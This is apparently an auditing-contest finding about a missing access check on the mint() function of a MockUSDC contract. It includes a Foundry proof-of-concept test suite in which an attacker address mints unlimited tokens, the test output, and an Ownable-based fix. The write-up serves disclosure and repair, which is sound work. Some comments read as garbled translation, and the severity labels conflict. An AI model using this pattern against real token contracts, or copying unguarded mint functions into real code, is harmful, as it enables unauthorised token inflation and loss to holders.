NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Missing Access Control in mint() Function

Author Revealed upon completion

Root + Impact

Description

  • In a normal secure token contract, the function that creates new tokens (minting) should only be callable by the contract owner or authorized roles. This prevents random users from increasing the token supply whenever they want.

  • problem, in this contract, the mint function is completely open. Anyone - any wallet address - can call this function and create new tokens for themselves or for anyone else. There is no check to verify who is calling the function.

function mint(address to, uint256 amount) external {
@> _mint(to, amount); // No access control! Any caller can mint any amount
}

Risk

Likelihood:Critical

  • Anyone will be able to call this function at any time - there are no restrictions or special conditions needed

  • The function is public and visible on the blockchain, so any user can find it and interact with it immediately

Impact:Critical

  • An attacker can mint unlimited tokens for themselves, effectively creating money out of thin air

  • The total supply can be inflated to infinity, making the token worthless and destroying trust in the project

Proof of Concept

Here is a simple test using Foundry that proves any user can mint tokens:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import "../src/MockUSDC.sol";
contract MockUSDCTest is Test {
MockUSDC public usdc;
// Test address
address public owner = makeAddr("owner");
address public attacker = makeAddr("attacker");
address public user = makeAddr("user");
// For test
uint256 public constant MINT_AMOUNT = 1_000_000 * 10**6; // 1 million USDC
uint256 public constant SMALL_MINT = 100 * 10**6; // 100 USDC
function setUp() public {
// Contract publication
vm.prank(owner);
usdc = new MockUSDC();
// Giving some tokens to the owner for other tests (optional)
vm.prank(owner);
usdc.mint(owner, SMALL_MINT);
}
// It proves that any user can mint tokens for themselves
function test_AnyUserCanMintToThemselves() public {
// Order: The attacker is trying to mine tokens for his account.
vm.startPrank(attacker);
// Execution: Directly call mint()
usdc.mint(attacker, MINT_AMOUNT);
vm.stopPrank();
// Confirmation: Tokens have been successfully minted
assertEq(usdc.balanceOf(attacker), MINT_AMOUNT, "Attacker should have received minted tokens");
// Record the result for documentation
emit log_named_address("Attacker address", attacker);
emit log_named_uint("Attacker balance after mint", usdc.balanceOf(attacker));
emit log_string("VULNERABILITY CONFIRMED: Any user can mint tokens without restrictions");
}
// This proves that the attacker can mint tokens for any other address.
function test_AttackerCanMintToAnyAddress() public {
// The attacker is using tokens belonging to another user.
vm.prank(attacker);
usdc.mint(user, MINT_AMOUNT);
//The recipient received the tokens
assertEq(usdc.balanceOf(user), MINT_AMOUNT, "User should have received minted tokens");
assertEq(usdc.balanceOf(attacker), 0, "Attacker's balance should remain zero");
emit log_named_address("Minter (attacker)", attacker);
emit log_named_address("Recipient (user)", user);
emit log_named_uint("User balance after mint", usdc.balanceOf(user));
}
// This proves that the attacker can repeat the process to mint enormous quantities.
function test_AttackerCanRepeatedlyMint() public {
vm.startPrank(attacker);
// Suck several times
for(uint i = 0; i < 5; i++) {
usdc.mint(attacker, MINT_AMOUNT);
}
vm.stopPrank();
uint256 expectedBalance = MINT_AMOUNT * 5;
assertEq(usdc.balanceOf(attacker), expectedBalance, "Attacker should have minted multiple times");
emit log_named_uint("Total supply after multiple mints", usdc.totalSupply());
emit log_named_uint("Attacker final balance", usdc.balanceOf(attacker));
}
// It proves that the mint function does not check any privileges.
function test_NoAccessControlInMintFunction() public {
// Attempting to summon mint from different addresses
address[] memory addresses = new address[](3);
addresses[0] = attacker;
addresses[1] = user;
addresses[2] = address(0x123); // Random address
for(uint i = 0; i < addresses.length; i++) {
vm.prank(addresses[i]);
usdc.mint(addresses[i], SMALL_MINT);
assertGt(usdc.balanceOf(addresses[i]), 0, "Address should have received tokens");
emit log_named_address("Address", addresses[i]);
emit log_named_uint("Balance after mint", usdc.balanceOf(addresses[i]));
}
emit log_string("All addresses could mint successfully - NO ACCESS CONTROL");
}
// Compare with expected behavior (if access control were in place)
function test_ExpectedBehaviorWithAccessControl() public {
vm.prank(owner);
usdc.mint(owner, SMALL_MINT);
// Anyone else's attempt - should fail in the secure contract
vm.prank(attacker);
// In the current decade, this will work (and this is the loophole).
usdc.mint(attacker, SMALL_MINT);
// But in a secure contract, this line should cause a revert
// vm.expectRevert("Ownable: caller is not the owner");
emit log_string("In a secure contract, the above mint would have reverted!");
emit log_string("But in this contract, it succeeded - demonstrating the vulnerability");
}
// It checks the impact of the gap on overall supply.
function test_TotalSupplyInflation() public {
uint256 initialTotalSupply = usdc.totalSupply();
// A striker who scores a huge amount
vm.prank(attacker);
usdc.mint(attacker, MINT_AMOUNT);
uint256 newTotalSupply = usdc.totalSupply();
assertGt(newTotalSupply, initialTotalSupply, "Total supply should increase");
assertEq(newTotalSupply - initialTotalSupply, MINT_AMOUNT, "Total supply increased by mint amount");
emit log_named_uint("Initial total supply", initialTotalSupply);
emit log_named_uint("New total supply", newTotalSupply);
emit log_named_uint("Inflation amount", newTotalSupply - initialTotalSupply);
}
}

Test Output:

[⠊] Compiling...
[⠒] Compiling 27 files with Solc 0.8.28
[⠆] Solc 0.8.28 finished in 1.97s
Compiler run successful!
Ran 1 test for test/MockUSDC.t.sol:MockUSDCTest
[PASS] test_AnyUserCanMintToThemselves() (gas: 52015)
Logs:
Attacker address: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
Attacker balance after mint: 1000000000000
VULNERABILITY CONFIRMED: Any user can mint tokens without restrictions
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.70ms (938.49µs CPU time)
Ran 1 test suite in 49.23ms (11.70ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Add access control to the mint function so only the contract owner can call it. The simplest way is using OpenZeppelin's Ownable contract.

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.34;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+ import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
- contract MockUSDC is ERC20 {
+ contract MockUSDC is ERC20, Ownable {
- constructor() ERC20("MockUSDC", "mUSDC") {}
+ constructor() ERC20("MockUSDC", "mUSDC") Ownable(msg.sender) {}
- function mint(address to, uint256 amount) external {
+ function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}
function decimals() public pure override returns (uint8) {
return 6;
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!